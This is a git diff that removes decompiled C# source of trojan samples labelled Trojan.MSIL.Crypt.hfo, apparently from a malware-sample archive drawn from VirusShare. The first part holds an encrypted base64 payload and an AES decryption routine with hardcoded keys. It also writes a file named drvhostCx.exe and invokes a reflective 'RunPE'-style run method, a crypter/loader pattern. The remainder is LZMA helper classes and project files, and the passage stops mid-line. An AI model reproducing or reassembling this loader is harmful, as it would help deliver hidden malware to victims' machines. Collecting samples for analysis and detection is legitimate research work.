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", "m9DNw57MaYc34Fnx", "w3JYo42Qfz9K7DnZk8b5M6T", "SHA1", 2, "Pa62DoQz37Kfk5Y4", 128)); - File.WriteAllBytes(path, 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- Driver.Zn2s3JEj9k4S5Ccf7W8Xrt("IMETHOD", "ibMethod", Pb52Xxz9Z4MoYr87BkHp36Wda3D2C, new object[1] - { - (object) "drvhostCx.exe" - }); - Driver.Zn2s3JEj9k4S5Ccf7W8Xrt("RPEMETHOD", "Run", Pb52Xxz9Z4MoYr87BkHp36Wda3D2C, new object[2] - { - (object) numArray, - (object) path - }); - } - - private static bool Zn2s3JEj9k4S5Ccf7W8Xrt( - string d9H6XiCy7q8ZAs5e2W3Fgt4M, - string Cy7e2JSp86Ekb4D9GwMn3q5HKd75Xa, - Assembly Pb52Xxz9Z4MoYr87BkHp36Wda3D2C, - object[] o3G7Yzc4B2DkQa58Kmx6F) - { - try - { - Type type = Pb52Xxz9Z4MoYr87BkHp36Wda3D2C.GetType(d9H6XiCy7q8ZAs5e2W3Fgt4M); - if ((object) type != null) - { - MethodInfo method = type.GetMethod(Cy7e2JSp86Ekb4D9GwMn3q5HKd75Xa); - if ((object) method != null) - return (bool) method.Invoke((object) null, o3G7Yzc4B2DkQa58Kmx6F); - } - } - catch - { - return false; - } - return false; - } - - public static byte[] Pk9q5HBx3i4S7QdWj86Dc( - string Hy5x2B8Zeq6FGb7o4PAg39Ntc3TXr, - string Cc96Tba7EMe5z3D8Ywo4WXs27S, - string Et2w8N7Afg3GYp49Sbm5C, - string Zn2s3JEj9k4S5Ccf7W8Xrt, - int f9N5Zte3T4PdKn6, - string e4JDw7s3A8Yrf5, - int w2GHg53Qfc7NAy86Zpn4BYz9d7L8Kb) - { - try - { - byte[] bytes1 = Encoding.ASCII.GetBytes(e4JDw7s3A8Yrf5); - byte[] bytes2 = Encoding.ASCII.GetBytes(Et2w8N7Afg3GYp49Sbm5C); - byte[] buffer = Convert.FromBase64String(Hy5x2B8Zeq6FGb7o4PAg39Ntc3TXr); - byte[] bytes3 = new PasswordDeriveBytes(Cc96Tba7EMe5z3D8Ywo4WXs27S, bytes2, Zn2s3JEj9k4S5Ccf7W8Xrt, f9N5Zte3T4PdKn6).GetBytes(w2GHg53Qfc7NAy86Zpn4BYz9d7L8Kb / 8); - RijndaelManaged rijndaelManaged = new RijndaelManaged(); - rijndaelManaged.Mode = CipherMode.CBC; - byte[] numArray = new byte[buffer.Length]; - int count = 0; - using (ICryptoTransform decryptor = rijndaelManaged.CreateDecryptor(bytes3, bytes1)) - { - using (MemoryStream memoryStream = new MemoryStream(buffer)) - { - using (CryptoStream cryptoStream = new CryptoStream((Stream) memoryStream, decryptor, CryptoStreamMode.Read)) - { - count = cryptoStream.Read(numArray, 0, numArray.Length); - memoryStream.Close(); - cryptoStream.Close(); - } - } - } - return Convert.FromBase64String(Encoding.UTF8.GetString(numArray, 0, count)); - } - catch - { - return (byte[]) null; - } - } - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Trojan.MSIL.Crypt.hfo.csproj b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Trojan.MSIL.Crypt.hfo.csproj deleted file mode 100644 index f9698d35..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Trojan.MSIL.Crypt.hfo.csproj +++ /dev/null @@ -1,63 +0,0 @@ - - - - - Debug - AnyCPU - {802C1B00-E9A8-4D67-B01D-BBE235F7897D} - WinExe - P4CTEMP - 1.0.0.0 - SevenZip - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Trojan.MSIL.Crypt.hfo.sln b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Trojan.MSIL.Crypt.hfo.sln deleted file mode 100644 index a31b2398..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb/Trojan.MSIL.Crypt.hfo.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "P4CTEMP", "Trojan.MSIL.Crypt.hfo-86e028b43625b8d81463f4a1681df37b31886e255744d637a65b1ee60a6647fb.csproj", "{802C1B00-E9A8-4D67-B01D-BBE235F7897D}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {802C1B00-E9A8-4D67-B01D-BBE235F7897D}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {802C1B00-E9A8-4D67-B01D-BBE235F7897D}.Debug|Any CPU.Build.0 = Debug|Any CPU - {802C1B00-E9A8-4D67-B01D-BBE235F7897D}.Release|Any CPU.ActiveCfg = Release|Any CPU - {802C1B00-E9A8-4D67-B01D-BBE235F7897D}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/AssemblyInfo.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/AssemblyInfo.cs deleted file mode 100644 index f44492a2..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/AssemblyInfo.cs +++ /dev/null @@ -1,15 +0,0 @@ -using System.Reflection; -using System.Runtime.InteropServices; -using System.Security.Permissions; - -[assembly: AssemblyCompany("Di2e6J3W")] -[assembly: AssemblyTrademark("z3BMq5a4G")] -[assembly: AssemblyCopyright("Pb64Hwk7L")] -[assembly: AssemblyProduct("Fi56PkHp2")] -[assembly: ComVisible(false)] -[assembly: AssemblyConfiguration("")] -[assembly: AssemblyDescription("z7ZRo6s9W")] -[assembly: AssemblyTitle("f9SDw63E")] -[assembly: AssemblyFileVersion("1.0.2.6")] -[assembly: AssemblyVersion("0.2.6.6")] -[assembly: SecurityPermission(SecurityAction.RequestMinimum, SkipVerification = true)] diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Buffer/InBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Buffer/InBuffer.cs deleted file mode 100644 index e6160c27..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Buffer/InBuffer.cs +++ /dev/null @@ -1,63 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.InBuffer -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class InBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_Limit; - private uint m_BufferSize; - private Stream m_Stream; - private bool m_StreamWasExhausted; - private ulong m_ProcessedSize; - - public InBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void Init(Stream stream) - { - this.m_Stream = stream; - this.m_ProcessedSize = 0UL; - this.m_Limit = 0U; - this.m_Pos = 0U; - this.m_StreamWasExhausted = false; - } - - public bool ReadBlock() - { - if (this.m_StreamWasExhausted) - return false; - this.m_ProcessedSize += (ulong) this.m_Pos; - int num = this.m_Stream.Read(this.m_Buffer, 0, (int) this.m_BufferSize); - this.m_Pos = 0U; - this.m_Limit = (uint) num; - this.m_StreamWasExhausted = num == 0; - return !this.m_StreamWasExhausted; - } - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public bool ReadByte(byte b) - { - if (this.m_Pos >= this.m_Limit && !this.ReadBlock()) - return false; - b = this.m_Buffer[(IntPtr) this.m_Pos++]; - return true; - } - - public byte ReadByte() => this.m_Pos >= this.m_Limit && !this.ReadBlock() ? byte.MaxValue : this.m_Buffer[(IntPtr) this.m_Pos++]; - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Buffer/OutBuffer.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Buffer/OutBuffer.cs deleted file mode 100644 index 8237ad75..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Buffer/OutBuffer.cs +++ /dev/null @@ -1,58 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Buffer.OutBuffer -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; -using System.IO; - -namespace SevenZip.Buffer -{ - public class OutBuffer - { - private byte[] m_Buffer; - private uint m_Pos; - private uint m_BufferSize; - private Stream m_Stream; - private ulong m_ProcessedSize; - - public OutBuffer(uint bufferSize) - { - this.m_Buffer = new byte[(IntPtr) bufferSize]; - this.m_BufferSize = bufferSize; - } - - public void SetStream(Stream stream) => this.m_Stream = stream; - - public void FlushStream() => this.m_Stream.Flush(); - - public void CloseStream() => this.m_Stream.Close(); - - public void ReleaseStream() => this.m_Stream = (Stream) null; - - public void Init() - { - this.m_ProcessedSize = 0UL; - this.m_Pos = 0U; - } - - public void WriteByte(byte b) - { - this.m_Buffer[(IntPtr) this.m_Pos++] = b; - if (this.m_Pos < this.m_BufferSize) - return; - this.FlushData(); - } - - public void FlushData() - { - if (this.m_Pos == 0U) - return; - this.m_Stream.Write(this.m_Buffer, 0, (int) this.m_Pos); - this.m_Pos = 0U; - } - - public ulong GetProcessedSize() => this.m_ProcessedSize + (ulong) this.m_Pos; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/CRC.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/CRC.cs deleted file mode 100644 index a74a571a..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/CRC.cs +++ /dev/null @@ -1,53 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CRC -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; - -namespace SevenZip -{ - internal class CRC - { - public static readonly uint[] Table = new uint[256]; - private uint _value = uint.MaxValue; - - static CRC() - { - for (uint index1 = 0; index1 < 256U; ++index1) - { - uint num = index1; - for (int index2 = 0; index2 < 8; ++index2) - { - if (((int) num & 1) != 0) - num = num >> 1 ^ 3988292384U; - else - num >>= 1; - } - CRC.Table[(IntPtr) index1] = num; - } - } - - public void Init() => this._value = uint.MaxValue; - - public void UpdateByte(byte b) => this._value = CRC.Table[(int) (byte) this._value ^ (int) b] ^ this._value >> 8; - - public void Update(byte[] data, uint offset, uint size) - { - for (uint index = 0; index < size; ++index) - this._value = CRC.Table[(int) (byte) this._value ^ (int) data[(IntPtr) (offset + index)]] ^ this._value >> 8; - } - - public uint GetDigest() => this._value ^ uint.MaxValue; - - private static uint CalculateDigest(byte[] data, uint offset, uint size) - { - CRC crc = new CRC(); - crc.Update(data, offset, size); - return crc.GetDigest(); - } - - private static bool VerifyDigest(uint digest, byte[] data, uint offset, uint size) => (int) CRC.CalculateDigest(data, offset, size) == (int) digest; - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/CoderPropID.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/CoderPropID.cs deleted file mode 100644 index b5070fa6..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/CoderPropID.cs +++ /dev/null @@ -1,27 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.CoderPropID -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -namespace SevenZip -{ - public enum CoderPropID - { - DefaultProp, - DictionarySize, - UsedMemorySize, - Order, - BlockSize, - PosStateBits, - LitContextBits, - LitPosBits, - NumFastBytes, - MatchFinder, - MatchFinderCycles, - NumPasses, - Algorithm, - NumThreads, - EndMarker, - } -} diff --git a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/BinTree.cs b/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/BinTree.cs deleted file mode 100644 index 606d84a7..00000000 --- a/MSIL/Trojan/MSIL/C/Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f/Compression/LZ/BinTree.cs +++ /dev/null @@ -1,370 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: SevenZip.Compression.LZ.BinTree -// Assembly: Java, Version=0.2.6.6, Culture=neutral, PublicKeyToken=null -// MVID: 05D2D4A3-6B40-485F-9DA8-131B628EC4F1 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.Crypt.hfo-e1938c07c7f84caccd3c4ee78f87d7013721e08cc091f07ded33caeaf3adc44f.exe - -using System; -using System.IO; - -namespace SevenZip.Compression.LZ -{ - public class BinTree : InWindow, IMatchFinder, IInWindowStream - { - private const uint kHash2Size = 1024; - private const uint kHash3Size = 65536; - private const uint kBT2HashSize = 65536; - private const uint kStartMaxLen = 1; - private const uint kHash3Offset = 1024; - private const uint kEmptyHashValue = 0; - private const uint kMaxValForNormalize = 2147483647; - private uint _cyclicBufferPos; - private uint _cyclicBufferSize; - private uint _matchMaxLen; - private uint[] _son; - private uint[] _hash; - private uint _cutValue = (uint) byte.MaxValue; - private uint _hashMask; - private uint _hashSizeSum; - private bool HASH_ARRAY = true; - private uint kNumHashDirectBytes; - private uint kMinMatchCheck = 4; - private uint kFixHashSize = 66560; - - public void SetType(int numHashBytes) - { - this.HASH_ARRAY = numHashBytes > 2; - if (this.HASH_ARRAY) - { - this.kNumHashDirectBytes = 0U; - this.kMinMatchCheck = 4U; - this.kFixHashSize = 66560U; - } - else - { - this.kNumHashDirectBytes = 2U; - this.kMinMatchCheck = 3U; - this.kFixHashSize = 0U; - } - } - - public new void SetStream(Stream stream) => base.SetStream(stream); - - public new void ReleaseStream() => base.ReleaseStream(); - - public new void Init() - { - base.Init(); - for (uint index = 0; index < this._hashSizeSum; ++index) - this._hash[(IntPtr) index] = 0U; - this._cyclicBufferPos = 0U; - this.ReduceOffsets(-1); - } - - public new void MovePos() - { - if (++this._cyclicBufferPos >= this._cyclicBufferSize) - this._cyclicBufferPos = 0U; - base.MovePos(); - if (this._pos != (uint) int.MaxValue) - return; - this.Normalize(); - } - - public new byte GetIndexByte(int index) => base.GetIndexByte(index); - - public new uint GetMatchLen(int index, uint distance, uint limit) => base.GetMatchLen(index, distance, limit); - - public new uint GetNumAvailableBytes() => base.GetNumAvailableBytes(); - - public void Create( - uint historySize, - uint keepAddBufferBefore, - uint matchMaxLen, - uint keepAddBufferAfter) - { - if (historySize > 2147483391U) - throw new Exception(); - this._cutValue = 16U + (matchMaxLen >> 1); - uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U; - this.Create(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv); - this._matchMaxLen = matchMaxLen; - uint num1 = historySize + 1U; - if ((int) this._cyclicBufferSize != (int) num1) - this._son = new uint[(IntPtr) ((this._cyclicBufferSize = num1) * 2U)]; - uint num2 = 65536; - if (this.HASH_ARRAY) - { - uint num3 = historySize - 1U; - uint num4 = num3 | num3 >> 1; - uint num5 = num4 | num4 >> 2; - uint num6 = num5 | num5 >> 4; - uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue; - if (num7 > 16777216U) - num7 >>= 1; - this._hashMask = num7; - num2 = num7 + 1U + this.kFixHashSize; - } - if ((int) num2 == (int) this._hashSizeSum) - return; - this._hash = new uint[(IntPtr) (this._hashSizeSum = num2)]; - } - - public uint GetMatches(uint[] distances) - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - return 0; - } - } - uint matches = 0; - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3 = 1; - uint index2 = 0; - uint num4 = 0; - uint num5; - if (this.HASH_ARRAY) - { - uint num6 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - index2 = num6 & 1023U; - uint num7 = num6 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - num4 = num7 & (uint) ushort.MaxValue; - num5 = (num7 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num5 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8; - uint num8 = this._hash[(IntPtr) (this.kFixHashSize + num5)]; - if (this.HASH_ARRAY) - { - uint num9 = this._hash[(IntPtr) index2]; - uint num10 = this._hash[(IntPtr) (1024U + num4)]; - this._hash[(IntPtr) index2] = this._pos; - this._hash[(IntPtr) (1024U + num4)] = this._pos; - if (num9 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num9)] == (int) this._bufferBase[(IntPtr) index1]) - { - uint[] numArray1 = distances; - int num11 = (int) matches; - uint num12 = (uint) (num11 + 1); - uint index3 = (uint) num11; - int num13; - num3 = (uint) (num13 = 2); - numArray1[(IntPtr) index3] = (uint) num13; - uint[] numArray2 = distances; - int num14 = (int) num12; - matches = (uint) (num14 + 1); - uint index4 = (uint) num14; - int num15 = (int) this._pos - (int) num9 - 1; - numArray2[(IntPtr) index4] = (uint) num15; - } - if (num10 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num10)] == (int) this._bufferBase[(IntPtr) index1]) - { - if ((int) num10 == (int) num9) - matches -= 2U; - uint[] numArray3 = distances; - int num16 = (int) matches; - uint num17 = (uint) (num16 + 1); - uint index5 = (uint) num16; - int num18; - num3 = (uint) (num18 = 3); - numArray3[(IntPtr) index5] = (uint) num18; - uint[] numArray4 = distances; - int num19 = (int) num17; - matches = (uint) (num19 + 1); - uint index6 = (uint) num19; - int num20 = (int) this._pos - (int) num10 - 1; - numArray4[(IntPtr) index6] = (uint) num20; - num9 = num10; - } - if (matches != 0U && (int) num9 == (int) num8) - { - matches -= 2U; - num3 = 1U; - } - } - this._hash[(IntPtr) (this.kFixHashSize + num5)] = this._pos; - uint index7 = (uint) (((int) this._cyclicBufferPos << 1) + 1); - uint index8 = this._cyclicBufferPos << 1; - uint val2; - uint val1 = val2 = this.kNumHashDirectBytes; - if (this.kNumHashDirectBytes != 0U && num8 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num8 + this.kNumHashDirectBytes)] != (int) this._bufferBase[(IntPtr) (index1 + this.kNumHashDirectBytes)]) - { - uint[] numArray5 = distances; - int num21 = (int) matches; - uint num22 = (uint) (num21 + 1); - uint index9 = (uint) num21; - int numHashDirectBytes; - num3 = (uint) (numHashDirectBytes = (int) this.kNumHashDirectBytes); - numArray5[(IntPtr) index9] = (uint) numHashDirectBytes; - uint[] numArray6 = distances; - int num23 = (int) num22; - matches = (uint) (num23 + 1); - uint index10 = (uint) num23; - int num24 = (int) this._pos - (int) num8 - 1; - numArray6[(IntPtr) index10] = (uint) num24; - } - uint cutValue = this._cutValue; - while (num8 > num2 && cutValue-- != 0U) - { - uint num25 = this._pos - num8; - uint index11 = (uint) ((num25 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num25 : (int) this._cyclicBufferPos - (int) num25 + (int) this._cyclicBufferSize) << 1); - uint num26 = this._bufferOffset + num8; - uint num27 = Math.Min(val1, val2); - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - do - ; - while ((int) ++num27 != (int) num1 && (int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]); - if (num3 < num27) - { - uint[] numArray7 = distances; - int num28 = (int) matches; - uint num29 = (uint) (num28 + 1); - uint index12 = (uint) num28; - int num30; - num3 = (uint) (num30 = (int) num27); - numArray7[(IntPtr) index12] = (uint) num30; - uint[] numArray8 = distances; - int num31 = (int) num29; - matches = (uint) (num31 + 1); - uint index13 = (uint) num31; - int num32 = (int) num25 - 1; - numArray8[(IntPtr) index13] = (uint) num32; - if ((int) num27 == (int) num1) - { - this._son[(IntPtr) index8] = this._son[(IntPtr) index11]; - this._son[(IntPtr) index7] = this._son[(IntPtr) (index11 + 1U)]; - goto label_29; - } - } - } - if ((int) this._bufferBase[(IntPtr) (num26 + num27)] < (int) this._bufferBase[(IntPtr) (index1 + num27)]) - { - this._son[(IntPtr) index8] = num8; - index8 = index11 + 1U; - num8 = this._son[(IntPtr) index8]; - val2 = num27; - } - else - { - this._son[(IntPtr) index7] = num8; - index7 = index11; - num8 = this._son[(IntPtr) index7]; - val1 = num27; - } - } - this._son[(IntPtr) index7] = this._son[(IntPtr) index8] = 0U; -label_29: - this.MovePos(); - return matches; - } - - public void Skip(uint num) - { - do - { - uint num1; - if (this._pos + this._matchMaxLen <= this._streamPos) - { - num1 = this._matchMaxLen; - } - else - { - num1 = this._streamPos - this._pos; - if (num1 < this.kMinMatchCheck) - { - this.MovePos(); - goto label_19; - } - } - uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U; - uint index1 = this._bufferOffset + this._pos; - uint num3; - if (this.HASH_ARRAY) - { - uint num4 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)]; - this._hash[(IntPtr) (num4 & 1023U)] = this._pos; - uint num5 = num4 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8; - this._hash[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this._pos; - num3 = (num5 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask; - } - else - num3 = (uint) 